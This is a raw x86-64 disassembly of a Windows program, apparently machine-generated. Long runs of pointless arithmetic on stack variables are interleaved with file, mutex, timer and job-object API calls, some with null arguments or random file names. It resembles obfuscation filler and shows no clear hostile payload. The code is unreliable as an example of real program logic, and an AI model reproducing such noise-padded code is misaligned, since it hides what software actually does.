movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9f18]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbe20]
mov byte [rcx], al
lea rax, [rsp + 0xb3f8]
mov qword [rsp + 0xc170], rax
mov rax, qword [rsp + 0xa210]
mov ecx, dword [0x140229f80]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c00], eax
mov rax, qword [rsp + 0xa298]
mov qword [rsp + 0xc178], rax
mov rax, qword [rsp + 0xa1d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa70]
sub eax, ecx
mov word [0x14022a0f0], ax
mov rax, qword [rsp + 0xa000]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1dd8]
add eax, ecx
mov word [rsp + 0x1f68], ax
mov rax, qword [rsp + 0x9be0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4674]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbae8]
mov dword [rcx], eax
lea rdx, [rsp + 0x4b98]
mov rcx, qword [rsp + 0xaac8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4824], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
lea rax, [rsp + 0x3b9]
mov qword [rsp + 0xc180], rax
mov rax, qword [rsp + 0xb318]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9810]
sar rax, cl
mov rcx, qword [rsp + 0xbc70]
mov qword [rcx], rax
lea rax, [rsp + 0xa450]
mov qword [rsp + 0xc188], rax
movsx eax, byte [rsp + 0x384]
mov rcx, qword [rsp + 0xb620]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1a8], al
mov rax, qword [0x14022bbe0]
mov ecx, dword [rsp + 0x47d0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc070]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9890]
movzx eax, word [rax]
mov word [rsp + 0x2014], ax
movzx eax, word [rsp + 0xb30]
movzx ecx, word [rsp + 0x1fbc]
and eax, ecx
mov word [0x14022a0c8], ax
mov rax, qword [rsp + 0xb028]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [str.GnB_ax]
shl rax, cl
mov qword [rsp + 0xa5b0], rax
movzx eax, word [rsp + 0x1bb4]
movzx ecx, word [rsp + 0x1ef8]
xor eax, ecx
mov word [rsp + 0xfdc], ax
movsx eax, word [rsp + 0x1d3c]
movsx ecx, word [0x140229f68]
or eax, ecx
mov word [rsp + 0x16dc], ax
mov rcx, qword [rsp + 0xae90]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xb318]
mov rcx, qword [rsp + 0xb2c0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa560]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb288]
mov rax, qword [rax]
mov qword [rsp + 0xc190], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
movsx eax, byte [0x140229f1e]
movsx ecx, byte [rsp + 0x39c]
imul eax, ecx
mov rcx, qword [rsp + 0xbca8]
mov byte [rcx], al
lea rax, [rsp + 0x4844]
mov qword [rsp + 0xc198], rax
movzx eax, word [rsp + 0x17c8]
mov rcx, qword [rsp + 0xbc80]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xabd0]
mov word [rcx], ax
lea rax, [rsp + 0x7ed8]
mov qword [0x14022be00], rax
mov rax, qword [rsp + 0xb0c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaa78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x31c], al
mov eax, dword [rsp + 0x41fc]
mov ecx, dword [rsp + 0x4ab0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb010]
mov dword [rcx], eax
lea rcx, [rsp + 0x9778]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc1a0], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x5c6e
mov rcx, qword [rsp + 0x9ea0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4944], eax
mov r9d, 0x15bc
xor r8d, r8d
lea rdx, [rsp + 0xbec8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b08], eax
movsx eax, word [0x14022ba98]
mov rcx, qword [rsp + 0xa878]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x9f8], ax
movzx eax, word [rsp + 0x1fd8]
mov word [rsp + 0x2018], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x392]
movsx ecx, byte [rsp + 0x3a7]
sub eax, ecx
mov byte [rsp + 0x8c], al
mov rax, qword [0x14022bd18]
mov qword [rsp + 0xc1a8], rax
mov rax, qword [rsp + 0x9990]
mov ecx, dword [rsp + 0x4888]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa958]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa558]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa7f0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1c34], ax
mov rax, qword [rsp + 0xb720]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xade0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14022bd78]
mov word [rcx], ax
mov rax, qword [rsp + 0x9420]
mov rcx, qword [rsp + 0xa570]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9278], rax
mov rax, qword [rsp + 0xa828]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c58]
mov qword [rsp + 0xc1b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc1b0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x82d0], rax
mov rax, qword [rsp + 0xa570]
mov qword [rsp + 0xc1b8], rax
movsx eax, word [rsp + 0x1394]
movsx ecx, word [rsp + 0x1ee0]
or eax, ecx
mov word [rsp + 0x14bc], ax
mov rax, qword [0x14022bc00]
mov rcx, qword [rsp + 0xa600]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9ce8], rax
movsx eax, byte [rsp + 0x342]
mov rcx, qword [rsp + 0x9750]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7e], al
mov eax, dword [0x14022bde8]
movzx ecx, al
mov eax, dword [rsp + 0x475c]
shr eax, cl
mov dword [rsp + 0x4280], eax
lea rax, [rsp + 0x36c]
mov qword [rsp + 0xc1c0], rax
mov eax, dword [rsp + 0x4400]
mov ecx, dword [rsp + 0x4234]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xac78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc090]
movsx eax, word [rax]
movsx ecx, word [0x140229f78]
add eax, ecx
mov rcx, qword [0x14022b938]
mov word [rcx], ax
mov rax, qword [rsp + 0xba28]
movzx eax, word [rax]
mov word [rsp + 0x201c], ax
lea rcx, [rsp + 0xa680]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x1fd8]
movzx ecx, word [rsp + 0x8e4]
and eax, ecx
mov rcx, qword [rsp + 0x9e08]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x28c9
mov rcx, qword [rsp + 0x9e88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4824], eax
mov rax, qword [rsp + 0x9b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7e70]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa828]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbf48]
mov rax, qword [rax]
mov qword [rsp + 0xc1c8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb4e8]
mov ecx, dword [rsp + 0x4b50]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb4e8]
mov dword [rcx], eax
lea rax, [0x14022b812]
mov qword [rsp + 0xc1d0], rax
movsx eax, word [rsp + 0xaec]
movsx ecx, word [rsp + 0xad0]
sar eax, cl
mov word [rsp + 0x1d30], ax
lea rcx, [rsp + 0x9688]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa458]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9dd8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x13c8], ax
lea rax, [rsp + 0x8e58]
mov qword [0x14022be08], rax
mov rax, qword [rsp + 0xa468]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f34]
xor eax, ecx
mov word [rsp + 0x1b08], ax
mov rax, qword [rsp + 0xb6b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9db8]
mov qword [rsp + 0xc1d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc1d8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x82e8], rax
lea rdx, [rsp + 0x4848]
mov rcx, qword [rsp + 0xb0e0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x49cc], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc1e0], rax
mov rax, qword [rsp + 0x91f8]
mov qword [rsp + 0xc1e8], rax
mov rax, qword [rsp + 0xc0e0]
mov rcx, qword [rsp + 0x97e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xae00]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x70]
movsx ecx, byte [0x14022b810]
add eax, ecx
mov byte [rsp + 0x233], al
mov rax, qword [rsp + 0xbc38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4070]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b24], eax
movzx eax, byte [rsp + 0x362]
mov rcx, qword [rsp + 0x9a28]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3b9], al
lea rax, [0x14022a048]
mov qword [rsp + 0xc1f0], rax
mov rax, qword [rsp + 0xaeb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb8f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14022bb20], ax
movsx eax, word [rsp + 0x1380]
mov rcx, qword [rsp + 0xa1a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1e5c], ax
movzx eax, word [0x14022b990]
mov rcx, qword [rsp + 0xbc80]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1db4], ax
movzx eax, word [rsp + 0x1a28]
mov word [rsp + 0x2020], ax
movsx eax, byte [rsp + 0x219]
movsx ecx, byte [rsp + 0x7e]
cdq
idiv ecx
mov byte [rsp + 0x395], al
mov rax, qword [rsp + 0x9c08]
mov rax, qword [rax]
mov rcx, qword [0x14022bd18]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9258], rax
mov rax, qword [rsp + 0xa518]
mov rcx, qword [rsp + 0xc070]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4864], eax
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
mov word [rsp + 0x2024], ax
movzx eax, word [rsp + 0x1fbc]
movzx ecx, word [rsp + 0x9f4]
sub eax, ecx
mov rcx, qword [rsp + 0xa458]
mov word [rcx], ax
lea rax, [rsp + 0xb140]
mov qword [0x14022be10], rax
mov rax, qword [rsp + 0x9d68]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9278]
shl rax, cl
mov qword [rsp + 0x7fd8], rax
mov rax, qword [rsp + 0xc088]
mov rax, qword [rax]
mov qword [rsp + 0xc1f8], rax
mov rax, qword [rsp + 0xa218]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9eb8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb608]
mov qword [rcx], rax
lea rax, [rsp + 0x14e4]
mov qword [rsp + 0xc200], rax
movzx eax, byte [rsp + 0x1ca]
movzx ecx, byte [rsp + 0x87]
or eax, ecx
mov byte [rsp + 0x37d], al
mov rax, qword [rsp + 0xadb0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa8c0]
mov qword [rsp + 0xc208], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc208]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x9be0]
mov dword [rcx], eax
lea rax, [rsp + 0xb7d0]
mov qword [rsp + 0xc210], rax
mov eax, dword [rsp + 0x3f48]
mov ecx, dword [0x140229f30]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb8a8]
mov dword [rcx], eax
lea rcx, [rsp + 0xb5d8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xbe58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x36e]
add eax, ecx
mov rcx, qword [0x14022b928]
mov byte [rcx], al
lea rax, [0x14022b8d4]
mov qword [rsp + 0xc218], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x4556
mov rcx, qword [rsp + 0xa008]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b64], eax
mov rax, qword [rsp + 0x9880]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaec0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7e4], ax
mov r9d, 0x244
xor r8d, r8d
lea rdx, [rsp + 0xae90]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b9c], eax
mov rax, qword [rsp + 0xb388]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbba8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbcb8]
mov word [rcx], ax
lea rax, [rsp + 0xa7d0]
mov qword [rsp + 0xc220], rax
mov eax, dword [rsp + 0x3a84]
movzx ecx, al
mov eax, dword [rsp + 0x49e4]
shr eax, cl
mov dword [rsp + 0x4a3c], eax
lea rax, [rsp + 0x38a]
mov qword [rsp + 0xc228], rax
mov rax, qword [rsp + 0xbb30]
mov rcx, qword [rsp + 0xaf50]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xada8]
mov qword [rcx], rax
lea rax, [rsp + 0x1b80]
mov qword [rsp + 0xc230], rax
movzx eax, word [rsp + 0x1de0]
mov word [0x14022be18], ax
lea rdx, [rsp + 0x4730]
mov rcx, qword [rsp + 0xb4c8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4878], eax
mov rax, qword [rsp + 0xb760]
mov rcx, qword [rsp + 0x9188]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9420], rax
mov rax, qword [rsp + 0xa000]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1db4], ax
lea rcx, [rsp + 0x9778]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa160]
mov rcx, qword [rsp + 0xb7a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x44c4], eax
movzx eax, byte [rsp + 0x3b9]
mov rcx, qword [rsp + 0xaf80]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xaa08]
mov byte [rcx], al
movzx eax, byte [rsp + 0x3bb]
mov byte [rsp + 0x3bc], al
mov rax, qword [rsp + 0xc188]
mov rcx, qword [rsp + 0xb048]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9c08]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4044]
mov rcx, qword [0x14022b950]
mov qword [rsp + 0xc238], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc238]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xb338]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1eec]
movsx ecx, word [rsp + 0x1130]
sar eax, cl
mov word [rsp + 0xa9c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc240], rax
lea rax, [rsp + 0x1fd8]
mov qword [0x14022be20], rax
mov rax, qword [0x14022b840]
mov rcx, qword [rsp + 0x9198]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa6d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7e70]
mov qword [rsp + 0xc248], rax
mov rax, qword [rsp + 0xaf58]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc110]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14bc], ax
movzx eax, word [0x14022a028]
mov rcx, qword [rsp + 0xbe48]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1db4], ax
lea rax, [rsp + 0x305]
mov qword [rsp + 0xc250], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x83c0
mov rcx, qword [rsp + 0x99d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x48d4], eax
mov rax, qword [rsp + 0x9670]
mov rcx, qword [rsp + 0x89f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbf80], rax
mov rax, qword [rsp + 0xb4b8]
mov eax, dword [rax]
mov dword [rsp + 0x4ba0], eax
mov rax, qword [rsp + 0xb638]
mov rcx, qword [rsp + 0xa360]
mov qword [rsp + 0xc258], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc258]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xaa20]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb238]
movsx eax, word [rax]
movsx ecx, word [0x14022bd10]
add eax, ecx
mov word [0x140229f3c], ax
movzx eax, word [rsp + 0x1dfc]
mov rcx, qword [rsp + 0x9e08]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa4f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xae98]
mov ecx, dword [rsp + 0x3dc8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4134], eax
lea rcx, [rsp + 0xa870]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, byte [0x140229f1d]
movzx ecx, byte [rsp + 0x36a]
xor eax, ecx
mov byte [rsp + 0x3a8], al
mov rax, qword [rsp + 0x9810]
mov qword [rsp + 0xc260], rax
mov rax, qword [rsp + 0xa400]
movzx ecx, al
mov rax, qword [rsp + 0xaab8]
shl rax, cl
mov qword [rsp + 0x95a0], rax
mov eax, dword [rsp + 0x47ac]
movzx ecx, al
mov eax, dword [0x140229f80]
shr eax, cl
mov dword [rsp + 0x3e0c], eax
movsx eax, byte [rsp + 0x39e]
mov rcx, qword [rsp + 0xb1c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3b0], al
mov rax, qword [rsp + 0xb270]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc0d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f90], ax
movzx eax, word [rsp + 0x1088]
movzx ecx, word [rsp + 0x1d60]
add eax, ecx
mov word [0x14022be18], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.X2QaRg_bTu
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc268], rax
mov rax, qword [rsp + 0xc120]
mov rax, qword [rax]
mov qword [rsp + 0xc270], rax
movzx eax, word [0x140229f28]
movzx ecx, word [rsp + 0x177c]
sub eax, ecx
mov word [rsp + 0x1d68], ax
movzx eax, word [rsp + 0x1ef0]
mov word [rsp + 0x2028], ax
lea rcx, [rsp + 0x9dc8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rsp + 0xb158]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xb810]
mov rcx, qword [rsp + 0x7b58]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7278], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x2701
mov rcx, qword [rsp + 0x9ea0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45f8], eax
mov rax, qword [rsp + 0x9c98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xafe0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x279], al
lea rax, [rsp + 0x9c50]
mov qword [rsp + 0xc278], rax
lea rcx, [rsp + 0xc280]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xb0e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbc28]
mov qword [rsp + 0xc288], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc288]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x482c], eax
movzx eax, word [0x140229f7c]
movzx ecx, word [rsp + 0x1f84]
sub eax, ecx
mov word [rsp + 0x19b4], ax
lea rdx, [rsp + 0x4b34]
mov rcx, qword [rsp + 0xa640]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4944], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
lea rax, [rsp + 0xacf0]
mov qword [0x14022be28], rax
movzx eax, byte [rsp + 0x234]
movzx ecx, byte [rsp + 0x275]
add eax, ecx
mov rcx, qword [rsp + 0xc078]
mov byte [rcx], al
mov rax, qword [rsp + 0x9800]
mov ecx, dword [rsp + 0x483c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3db8], eax
lea rax, [rsp + 0xa9c]
mov qword [rsp + 0xc290], rax
movzx eax, word [rsp + 0x1aec]
mov rcx, qword [rsp + 0xaf68]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xaf38]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.UTh5uJe1n
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc298], rax
lea rax, [rsp + 0x491c]
mov qword [rsp + 0xc2a0], rax
mov rax, qword [rsp + 0x9d18]
mov rcx, qword [rsp + 0x9ef0]
mov qword [rsp + 0xc2a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc2a8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xb048]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x39b]
mov rcx, qword [0x14022b928]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe9], al
lea rax, [rsp + 0x1e50]
mov qword [rsp + 0xc2b0], rax
mov rax, qword [rsp + 0xa148]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xef0]
sar eax, cl
mov word [0x140229f28], ax
mov rax, qword [rsp + 0xab18]
mov rcx, qword [0x140229f20]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb080]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rax, qword [rsp + 0x8990]
mov qword [rsp + 0xc2b8], rax
mov rax, qword [rsp + 0xbb98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8bb0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa0f8], rax
lea rax, [rsp + 0x11ec]
mov qword [rsp + 0xc2c0], rax
mov eax, dword [rsp + 0x4acc]
mov ecx, dword [rsp + 0x49bc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d60], eax
mov rcx, qword [rsp + 0xa608]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9870]
mov rcx, qword [rsp + 0x80d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaf88]
mov qword [rcx], rax
lea rax, [0x14022b810]
mov qword [rsp + 0xc2c8], rax
mov rax, qword [rsp + 0xc1c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2bb]
add eax, ecx
mov rcx, qword [rsp + 0xbda8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb420]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a5c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d4c], eax
lea rax, [0x14022a074]
mov qword [0x14022be30], rax
mov rax, qword [rsp + 0xb3b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cc4]
sar eax, cl
mov rcx, qword [rsp + 0xa718]
mov word [rcx], ax
movzx eax, word [rsp + 0x1ed0]
mov rcx, qword [rsp + 0xbca0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xad80]
mov word [rcx], ax
mov rax, qword [0x140229f20]
mov qword [rsp + 0xc2d0], rax
mov rax, qword [rsp + 0xa730]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb7c8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2c3], al
mov rax, qword [rsp + 0xbbd0]
mov rax, qword [rax]
mov qword [rsp + 0xc2d8], rax
mov rax, qword [rsp + 0xa220]
mov rcx, qword [rsp + 0xa3a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4280], eax
mov rax, qword [rsp + 0x9f40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd98]
sub eax, ecx
mov word [rsp + 0x1d3c], ax
mov rax, qword [rsp + 0xbba8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x80c]
add eax, ecx
mov word [rsp + 0x107c], ax
lea rcx, [rsp + 0xadd8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [0x14022a0b8]
mov qword [0x14022be38], rax
movzx eax, word [rsp + 0x1ebc]
movzx ecx, word [rsp + 0x1fe8]
and eax, ecx
mov word [rsp + 0x1e14], ax
mov rax, qword [rsp + 0x6f78]
mov qword [rsp + 0xc2e0], rax
mov rax, qword [rsp + 0xc220]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9ca0]
sar rax, cl
mov rcx, qword [rsp + 0xa828]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaff0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8578]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8210], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
movsx eax, byte [rsp + 0x342]
movsx ecx, byte [0x14022b814]
sub eax, ecx
mov byte [rsp + 0x350], al
mov rax, qword [rsp + 0xab20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x99]
and eax, ecx
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0xa7d8]
mov eax, dword [rax]
mov dword [rsp + 0x4ba4], eax
mov rax, qword [0x14022bbe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3da8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa818]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1ee4]
movsx ecx, word [rsp + 0xf30]
sar eax, cl
mov word [0x14022bcd8], ax
lea rax, [rsp + 0x2024]
mov qword [rsp + 0xc2e8], rax
mov rax, qword [rsp + 0xa1b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbe98]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa000]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.otne9ZZBlW
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc2f0], rax
mov rax, qword [rsp + 0xba80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x968]
xor eax, ecx
mov rcx, qword [rsp + 0x9820]
mov word [rcx], ax
movsx eax, byte [rsp + 0x2c6]
movsx ecx, byte [0x14022b813]
shl eax, cl
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x9990]
mov ecx, dword [rsp + 0x497c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4acc], eax
lea rax, [rsp + 0xbb18]
mov qword [rsp + 0xc2f8], rax
movsx eax, word [rsp + 0x1edc]
mov rcx, qword [0x14022bcc8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d54], ax
mov rax, qword [rsp + 0xb9a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1aec]
add eax, ecx
mov rcx, qword [rsp + 0xbe98]
mov word [rcx], ax
mov rax, qword [rsp + 0xbb98]
mov rcx, qword [rsp + 0x9710]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14022a0f8], rax
mov rax, qword [rsp + 0xb4b0]
mov rax, qword [rax]
mov qword [rsp + 0xc300], rax
mov rax, qword [rsp + 0xba10]
